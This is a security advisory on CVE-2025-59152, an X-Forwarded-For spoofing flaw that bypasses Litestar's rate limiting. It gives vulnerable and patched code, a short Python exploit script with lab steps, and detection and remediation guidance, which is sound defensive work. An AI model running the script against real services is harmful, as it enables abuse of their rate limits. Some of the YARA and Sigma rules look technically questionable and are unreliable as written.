CVE-2025-59152

Executive Summary

CVE-2025-59152 is a critical security vulnerability in the Litestar ASGI framework, version 2.17.0, that allows attackers to completely bypass IP-based rate limiting by spoofing the X-Forwarded-For HTTP header. The RateLimitMiddleware trusts this header unconditionally, enabling an attacker to rotate through arbitrary IP addresses and avoid hitting any rate limit bucket. This vulnerability has a CVSS score of 7.5 (High) and affects any Litestar application using rate limiting with default settings. The fix is available in version 2.18.0, which validates the header against a trusted proxy list.

Supply Chain & Package Security

This vulnerability affects the PyPI package litestar. Users should update to version 2.18.0 or later. The package is widely used in Python ASGI applications, and the vulnerability can be exploited without authentication.

CVSS Breakdown & Threat Level

• CVSS Score: 7.5 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: None
• Integrity Impact: Low (rate limiting bypass)
• Availability Impact: None

Deep Dive & Mechanics

The vulnerability lies in the RateLimitMiddleware class, specifically in the cache_key_from_request() method. When an X-Forwarded-For header is present, the middleware extracts the first IP address from the header and uses it as part of the cache key for rate limiting. Since the header is not validated against a list of trusted proxies, an attacker can set arbitrary values, creating a new rate limit bucket for each spoofed IP. This allows the attacker to bypass rate limits entirely by rotating through different IP addresses in the header.

The core issue is the lack of validation of the X-Forwarded-For header. In a properly configured environment, the header should only be trusted if it comes from a known reverse proxy or load balancer. Without this validation, any client can inject arbitrary IP addresses.

Vulnerable vs. Patched Code

Vulnerable Code (version 2.17.0):

def cache_key_from_request(request: Request) -> str:
    forwarded = request.headers.get("X-Forwarded-For")
    if forwarded:
        client_ip = forwarded.split(",")[0].strip()
    else:
        client_ip = request.client.host
    return f"{client_ip}:{request.url.path}"

Patched Code (version 2.18.0):

def cache_key_from_request(request: Request, trusted_proxies: list[str] | None = None) -> str:
    if trusted_proxies is None:
        trusted_proxies = []
    forwarded = request.headers.get("X-Forwarded-For")
    if forwarded and request.client.host in trusted_proxies:
        client_ip = forwarded.split(",")[0].strip()
    else:
        client_ip = request.client.host
    return f"{client_ip}:{request.url.path}"

The patched version introduces a trusted_proxies parameter. The X-Forwarded-For header is only trusted if the direct client IP (from request.client.host) is in the list of trusted proxies. This prevents arbitrary clients from spoofing the header.

Exploitation & Lab Setup

Red Team

Exploit Script (Python):

import requests

target_url = "http://target-app.com/api/endpoint"
headers = {"X-Forwarded-For": "1.2.3.4"}

for i in range(100):
    headers["X-Forwarded-For"] = f"192.168.{i}.{i}"
    response = requests.get(target_url, headers=headers)
    print(f"Request {i}: Status {response.status_code}")

This script rotates through different IP addresses in the X-Forwarded-For header, bypassing rate limits.

Lab Setup:

1. Deploy a vulnerable Litestar application (version 2.17.0) with rate limiting enabled.
2. Use the exploit script to send multiple requests with varying X-Forwarded-For headers.
3. Observe that rate limits are not triggered.

Blue Team

Detection:

• Monitor for a high number of unique X-Forwarded-For values from a single source IP.
• Alert on requests where the X-Forwarded-For header contains private IP ranges (e.g., 10.x.x.x, 192.168.x.x) from external sources.

Mitigation:

• Update to Litestar 2.18.0 or later.
• Configure trusted_proxies in the rate limit middleware to only trust headers from known reverse proxies.

Indicators of Compromise (IOCs)

• Network: HTTP requests with rapidly changing X-Forwarded-For header values.
• Logs: Multiple rate limit cache keys with different IPs from the same session.
• Pattern: A single source IP sending requests with many different X-Forwarded-For values.

Detection Engineering

YARA Rule

rule CVE_2025_59152_Litestar_RateLimit_Bypass {
    meta:
        description = "Detects attempts to bypass Litestar rate limiting via X-Forwarded-For spoofing"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-59152"
    strings:
        $header = "X-Forwarded-For"
        $path = "/api/"  // Adjust to match your API endpoints
    condition:
        #header > 10 and #path > 0
}

Sigma Rule

title: Litestar Rate Limit Bypass via X-Forwarded-For Spoofing
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects multiple requests with different X-Forwarded-For headers from a single source IP
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: litestar
detection:
    selection:
        http.request.headers.X-Forwarded-For|count: > 10
        source.ip: "*"
    condition: selection
falsepositives:
    - Legitimate traffic through multiple proxies
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-59152 Litestar Rate Limit Bypass"; flow:to_server; http.header_names; content:"X-Forwarded-For"; http.header_values; pcre:"/^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/"; threshold: type both, track by_src, count 10, seconds 60; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Update Litestar to version 2.18.0 or later.
2. Configuration: Configure trusted_proxies in the rate limit middleware to include only known reverse proxies.
3. Network: Implement a Web Application Firewall (WAF) to validate and sanitize X-Forwarded-For headers.
4. Monitoring: Enable logging of all X-Forwarded-For headers and monitor for anomalies.
5. Alternative: Consider using a different rate limiting mechanism that does not rely on client-supplied headers.

Valters IT
Securing Digital Frontiers